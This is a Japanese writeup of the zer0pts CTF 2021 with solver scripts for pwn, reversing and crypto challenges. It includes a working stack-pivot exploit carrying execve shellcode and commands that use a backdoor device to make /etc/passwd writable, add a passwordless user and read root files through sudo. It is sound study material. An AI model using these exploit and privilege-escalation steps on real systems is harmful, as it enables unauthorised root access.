zer0pts CTF 2021 Writeup

March 07, 2021

pwn Not Beginner’s Stack reversing infected crypto war(sa)mup OT or NOT OT janken vs yoshiking easy pseudo random

3/6 9:00 - 3/7 21:00 (JST) に開催された zer0pts CTF 2021 にソロで参加しました。主に crypto の問題を解きました。 web や rev は一通り問題を眺めたものの全然解けませんでした…ですがどの問題も考えているだけで楽しく、とてもいい CTF でした。結果は 49th/951 でした。解いた問題についてまとめていきます。

pwn

Not Beginner’s Stack

FOR_BEGINNERS.md にも書いてある通り、 return address を stack ではなく bss 領域で管理しており、いわゆる stack overflow による ROP は出来なくなっています。しかし leave 命令経由で rbp を書き換えることができるため、これをうまく使います。

1回目の入力で stack overflow の脆弱性があるため、ここで rsp が bss 領域を指すように rbp を書き換えます。具体的には bss 領域 + 0x100 を rbp に書き込みます。すると次の入力が bss 領域に書き込まれるため、 return address をいじることが可能になります。

from pwn import *


elf = ELF("./not_beginners_stack/chall")
context.binary = elf

r = remote("pwn.ctf.zer0pts.com", 9011)

offset = 8
r.sendafter("Data: ", b"A" * 256 + pack(0x600234+offset+0x100))  # 次の read で書き込む場所が bss 領域になるように

# http://shell-storm.org/shellcode/files/shellcode-806.php
r.sendafter("Data: ", pack(0x600234+offset+8) + b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
r.interactive()

zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}

reversing

infected

解析試しに実行してみると、 cuse: failed to open /dev/cuse: Permission denied と言われる (怖いので sudo では実行しなかった)。また定義された関数を見ていると fuse_* という名前のものが多かったため、そのあたりの単語でググると、 character device in user space なるものらしい。例えば https://libfuse.github.io/doxygen/cuse_8c.html とかの例を眺めたりしました。

これを踏まえて reversing すると、大事そうな部分が以下の箇所。

│      │└─> 0x00000b40      488b8540ffff.  mov rax, qword [ptr]
│      │    0x00000b47      488d35d20200.  lea rsi, [0x00000e20]       ; ":" ; const char *s2
│      │    0x00000b4e      4889c7         mov rdi, rax                ; char *s1
│      │    0x00000b51      e80afeffff     call sym.imp.strtok         ;[3] ; char *strtok(char *s1, const char *s2)
│      │    0x00000b56      48898548ffff.  mov qword [var_b8h], rax
│      │    0x00000b5d      488d35bc0200.  lea rsi, [0x00000e20]       ; ":" ; const char *s2
│      │    0x00000b64      bf00000000     mov edi, 0                  ; char *s1
│      │    0x00000b69      e8f2fdffff     call sym.imp.strtok         ;[3] ; char *strtok(char *s1, const char *s2)
│      │    0x00000b6e      48898550ffff.  mov qword [path], rax
│      │    0x00000b75      488d35a40200.  lea rsi, [0x00000e20]       ; ":" ; const char *s2
│      │    0x00000b7c      bf00000000     mov edi, 0                  ; char *s1
│      │    0x00000b81      e8dafdffff     call sym.imp.strtok         ;[3] ; char *strtok(char *s1, const char *s2)
│      │    0x00000b86      48898558ffff.  mov qword [str], rax
│      │    0x00000b8d      4883bd48ffff.  cmp qword [var_b8h], 0
│      │┌─< 0x00000b95      7414           je 0xbab
│      ││   0x00000b97      4883bd50ffff.  cmp qword [path], 0
│     ┌───< 0x00000b9f      740a           je 0xbab
│     │││   0x00000ba1      4883bd58ffff.  cmp qword [str], 0
│    ┌────< 0x00000ba9      7519           jne 0xbc4
│    ││││   ; CODE XREFS from sym.backdoor_write @ 0xb95, 0xb9f
│    │└─└─> 0x00000bab      488b8538ffff.  mov rax, qword [var_c8h]
│    │ │    0x00000bb2      be16000000     mov esi, 0x16
│    │ │    0x00000bb7      4889c7         mov rdi, rax
│    │ │    0x00000bba      e861fdffff     call sym.imp.fuse_reply_err ;[2]
│    │ │┌─< 0x00000bbf      e9b9000000     jmp 0xc7d
│    │ ││   ; CODE XREF from sym.backdoor_write @ 0xba9
│    └────> 0x00000bc4      488b8548ffff.  mov rax, qword [var_b8h]
│      ││   0x00000bcb      ba08000000     mov edx, 8                  ; size_t n
│      ││   0x00000bd0      488d354b0200.  lea rsi, str.b4ckd00r       ; 0xe22 ; "b4ckd00r" ; const char *s2
│      ││   0x00000bd7      4889c7         mov rdi, rax                ; const char *s1
│      ││   0x00000bda      e8e1fcffff     call sym.imp.strncmp        ;[4] ; int strncmp(const char *s1, const char *s2, size_t n)
│      ││   0x00000bdf      85c0           test eax, eax
│     ┌───< 0x00000be1      0f8582000000   jne 0xc69
│     │││   0x00000be7      488d9560ffff.  lea rdx, [var_a0h]
│     │││   0x00000bee      488b8550ffff.  mov rax, qword [path]
│     │││   0x00000bf5      4889d6         mov rsi, rdx                ; int64_t arg2
│     │││   0x00000bf8      4889c7         mov rdi, rax                ; int64_t arg1
│     │││   0x00000bfb      e8f0010000     call sym.stat64             ;[5]
│     │││   0x00000c00      8b8578ffffff   mov eax, dword [var_88h]
│     │││   0x00000c06      2500f00000     and eax, 0xf000
│     │││   0x00000c0b      3d00800000     cmp eax, 0x8000
│    ┌────< 0x00000c10      7541           jne 0xc53
│    ││││   0x00000c12      488b8558ffff.  mov rax, qword [str]
│    ││││   0x00000c19      4889c7         mov rdi, rax                ; const char *str
│    ││││   0x00000c1c      e84ffdffff     call sym.imp.atoi           ;[6] ; int atoi(const char *str)
│    ││││   0x00000c21      89c2           mov edx, eax
│    ││││   0x00000c23      488b8550ffff.  mov rax, qword [path]
│    ││││   0x00000c2a      89d6           mov esi, edx                ; int mode
│    ││││   0x00000c2c      4889c7         mov rdi, rax                ; const char *path
│    ││││   0x00000c2f      e81cfdffff     call sym.imp.chmod          ;[7] ; int chmod(const char *path, int mode)
│    ││││   0x00000c34      85c0           test eax, eax
│   ┌─────< 0x00000c36      751b           jne 0xc53

b4ckd00r:FILE_PATH:PERMISSION という形式で /dev/backdoor (DEVNAME=backdoor という文字列が見つかったので) に書き込むと、 chmod PERMISSION FILE_PATH が走るみたいです。

nc 前の計算 連続アクセスを防ぐために hash の逆計算をさせられるので、適当な script を書いて先に進みます。

import re
from itertools import product
from hashlib import sha256
from pwn import *

r = remote("any.ctf.zer0pts.com", 11011)
line = r.recvline().strip()
parsed = re.findall(r"sha256\(\"(.*)\"\) = (.*)", line.decode())[0]
result = None
for i1, i2, i3, i4 in product(range(32, 128), repeat=4):
    c1, c2, c3, c4 = map(chr, [i1, i2, i3, i4])
    tmp = c1 + c2 + c3 + c4 + parsed[0][4:]
    if sha256(tmp.encode()).hexdigest() == parsed[1]:
        result = tmp
        break
assert result is not None
r.sendline(result[:4])
r.interactive()

nc 後のコマンド sudo が使えればフラグが見られそうなので、その方針を取りました。 id 1000 のユーザーを /etc/passwd に書き込み (パスワード不要にするため2つ目のフィールドは空白)、フラグを見ました。

echo "b4ckd00r:/etc/passwd:00766" > /dev/backdoor
echo "hoge::1000:1000:nobody:/:/bin/sh" >> /etc/passwd
sudo /bin/ls /root
flag-b40d08b2f732b94d5ba34730c052d7e3.txt
sudo /bin/cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt
zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}

zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}

crypto

war(sa)mup

$m$ と $m//2$ を RSA で暗号化した $c_1, c_2$ が与えられています。今 $m$ は奇数なので、正確には $m//2 = (m - 1) / 2$ です。これはフラグの最後の文字が } で奇数になっていることや、 $2^ec_2 \ne c_1$ なことからわかります。

したがって、 $m^e \equiv c_1, (m - 1)^e \equiv 2^e c_2$ が既知ということになります。これは Franklin-Reiter related message attack が適用可能です。

from Crypto.Util.number import long_to_bytes

n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089
e = 1337
c1 = 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515
c2 = 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762

# http://inaz2.hatenablog.com/entry/2016/01/20/022936
def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]


long_to_bytes(related_message_attack(c1, pow(2, e, n) * c2, -1, e, n))

zer0pts{y0u_g07_47_13457_0v3r_1_p0in7}

OT or NOT OT

コードを言葉にすると、次のようになります。

素数 $p$ が与えられています。AES を使ってフラグを暗号化しています。

key が0になるまで以下を繰り返します。
- key の下1bit目と2bit目をそれぞれ $k_0, k_1$ とします。
- a, b, c, d をユーザーが与えます (ただし a, b, c, d は同じ数字があっては駄目、2以上)。
- r, s, t を randint(2, p-1) で生成します。
- u = a^r c^s, v = b^r c^s mod p を計算し、 x = xor(u, k_0), y = xor(v, k_1) を返します。
- z = d^r t^s を返します。
- key を2bit右にシフトします。

いろいろやり方が考えられそうですが、自分は $a=2^{-1}, b=2, c=p-1, d=4$ ( $d$ は何でもいい) を与えました。こうすると $uv \equiv (ab)^r c^{2r} \equiv 1 \mod p$ となるため、 $u = x\oplus \mathrm{0 or 1}, v = y\oplus \mathrm{0 or 1}$ の計4通りを計算して1になるものが $k_0, k_1$ となります。

$z$ や $d$ を全然使っていないので、非想定解かもしれない…

from pwn import *
from itertools import product
from base64 import b64decode
from Crypto.Util.number import inverse, long_to_bytes
from Crypto.Cipher import AES


r = remote("crypto.ctf.zer0pts.com", 10130)

r.recvuntil("Encrypted flag: ")
enc = r.recvline().strip()
print(enc)

r.recvuntil("p = ")
p = int(r.recvline().strip())

key = 0
try:  # key の bit 数によっては128回らない場合があるため、雑に try except
    for i in range(256 // 2):
        r.sendlineafter("a = ", str(pow(2, -1, p)))
        r.sendlineafter("b = ", str(2))
        r.sendlineafter("c = ", str(p-1))
        r.sendlineafter("d = ", str(4))

        r.recvuntil("x = ")
        x = int(r.recvline().strip())
        r.recvuntil("y = ")
        y = int(r.recvline().strip())
        r.recvuntil("z = ")
        z = int(r.recvline().strip())

        found = False
        for i0, i1 in product(range(2), repeat=2):
            tmp = (x ^ i0) * (y ^ i1) % p
            if tmp == 1:
                found = True
                break
        if not found:
            raise RuntimeError
        key += 4 ** i * (2 * i1 + i0)
        print(i, key)
except Exception:
    pass

enc_raw = b64decode(enc)
iv, enc_flag = enc_raw[: AES.block_size], enc_raw[AES.block_size :]
aes = AES.new(key=long_to_bytes(key), mode=AES.MODE_CBC, iv=iv)
print(aes.decrypt(enc_flag))

zer0pts{H41131uj4h_H41131uj4h}

janken vs yoshiking

じゃんけんで出す手を ElGamal 暗号で暗号化したものを事前に与えてくれます。 ElGamal 暗号では平方剰余が以下のようにしてわかるため、それを利用しました。

$y = g^x$ としたときに、 $(y/p)=1$ か $(y/p)=-1$ かで場合分けが発生しますが、今回の問題では $x$ がランダムに生成される上 $y$ の値は直接的にはわからないため、 $(y/p) = -1$ を仮定します。 $(y/p)=1$ の乱数を引いてしまったときは潔く負けを認め、もう一度祈りながらプログラムを走らせましょう。 $(c_1/p) = (g/p)^r$ なため、 $r$ の偶奇がわかります。さらに $(c_2/p) = (m/p) (-1)^r$ となるため、 $(m/p)$ を計算することができます。

しかしじゃんけんは3種類の手があるため、一見すると $(m/p)$ がわかっただけでは相手の手を特定することはできません。けどこれはじゃんけんなので、実は特定しなくても負けない手を選ぶことができるのです。 $(1/p), (2/p), (3/p)$ を事前計算して、 +1 のグループと -1 のグループにわけておくと、たいていの $p$ で 1個2個に分かれます。この1個のグループの値と $(m/p)$ が一致したときのみ相手の手は特定できるため、勝ちにいきます。逆に2個のグループの値になったときは相手の手が特定できない (例えばグーかパーかわからない) 状況になるため、負けない手を選びます (今回の例だとパー)。

import re

from pwn import *

context.log_level = "DEBUG"

r = remote("crypto.ctf.zer0pts.com", 10463)
_ = r.recvline()
recv = r.recvline().strip()
g, p = map(int, re.findall(r".*g: ([0-9]*), and p: ([0-9]*)", recv.decode())[0])

parities = [kronecker(i, p) for i in range(1, 4)]
even = [i + 1 for i, p in enumerate(parities) if p == 1]
odd = [i + 1 for i, p in enumerate(parities) if p == -1]
assert len(even) + len(odd) == 3
if len(even) == 2:
    should_win = -1
    hand_win = (odd[0]-2) % 3 + 1
    hand_draw = odd[0] % 3 + 1
else:
    should_win = 1
    hand_win = (even[0]-2) % 3 + 1
    hand_draw = even[0] % 3 + 1

try:
    while True:
        r.recvuntil("[yoshiking]: my commitment")
        recv = r.recvline()
        c1, c2 = map(int, re.findall(r".*=\(([0-9]*), ([0-9]*)\)", recv.decode())[0])
        r_parity = kronecker(c1, p)
        m_parity = kronecker(c2, p) * r_parity
        if m_parity == should_win:
            r.sendlineafter("[system]: your hand(1-3): ", str(hand_win))
        else:
            r.sendlineafter("[system]: your hand(1-3): ", str(hand_draw))
except Exception:
    pass

r.interactive()

zer0pts{jank3n-jank3n-0ne-m0r3-batt13}

easy pseudo random

Quadratic Congruential Generator (QCG) の問題。特に $v_{i+1} = a v_i^2 + b v_1 + c$ で $a=1, b=0$ の場合は Pollard generator というらしく、今回はこれに相当します。 $v_0, v_1$ の MSB の 2/3 がわかっている状態から $v_1$ を復元し、 $v_2, v_3, ...$ を求めることでフラグが復元できます。

LLL を使えばいけそうなオーラが漂っていたのでこねくり回していたのですが、自分では思いつかず…結局ググると https://www.ams.org/journals/mcom/2005-74-251/S0025-5718-04-01698-9/S0025-5718-04-01698-9.pdf のような論文が見つかったため、実装しました。

これは余談ですが、この論文は MSB が 2/3 程度が既知のときの解法ですが、 https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.703.9811&rep=rep1&type=pdf は 9/14 < 2/3 程度での解法となっており、さらに https://tel.archives-ouvertes.fr/tel-01135998/document は 3/5 < 9/14 程度での解法となっています。また、 $c$ の値が未知でも解けるみたいです。ちゃんと復習したい。

from Crypto.Util.number import *

nbits = 256
p = 86160765871200393116432211865381287556448879131923154695356172713106176601077
Fp = Zmod(p)
P.<v> = PolynomialRing(Fp)

b = 71198163834256441900788553646474983932569411761091772746766420811695841423780
d = 2
F = v^2 + b

k = ceil(nbits * (d / (d + 1)))

m = 88219145192729480056743197897921789558305761774733086829638493717397473234815
w0 = 401052873479535541023317092941219339820731562526505
w1 = 994046339364774179650447057905749575131331863844814

w0 <<= (nbits - k)
w1 <<= (nbits - k)

delta = round(p ** (1/3))

# https://www.ams.org/journals/mcom/2005-74-251/S0025-5718-04-01698-9/S0025-5718-04-01698-9.pdf
# Theorem 4
M0 = Matrix(ZZ, 3, 3)
M1 = Matrix(ZZ, 3, 3)
A = int(pow(delta, -2, p) * (w1 - w0 ** 2 - b)) % p
B = int(-2*w0*pow(delta, -1, p)) % p
C = 1
M0[0, 0] = p
M0[1, 1] = delta ** 2
M0[2, 2] = delta
M1[0, 0] = A
M1[1, 0] = B
M1[2, 0] = C
M1[0, 1] = 1
M1[1, 2] = 1
M = M0 * M1.inverse()
V = None
for v in M.LLL():
    if v[0] == delta ** 2:
        V = v
        break
assert V is not None
v0 = w0 + V[1] / delta
v1 = w1 + (V[2] + (V[1]/delta) ** 2)
assert (v0 ** 2 + b) % p == v1

_v = Fp(v1)
for i in range(5):
    _v = F(_v)
    m ^^= int(_v)
long_to_bytes(m)

zer0pts{is_blum_blum_shub_safe?}

pwn Not Beginner’s Stack reversing infected crypto war(sa)mup OT or NOT OT janken vs yoshiking easy pseudo random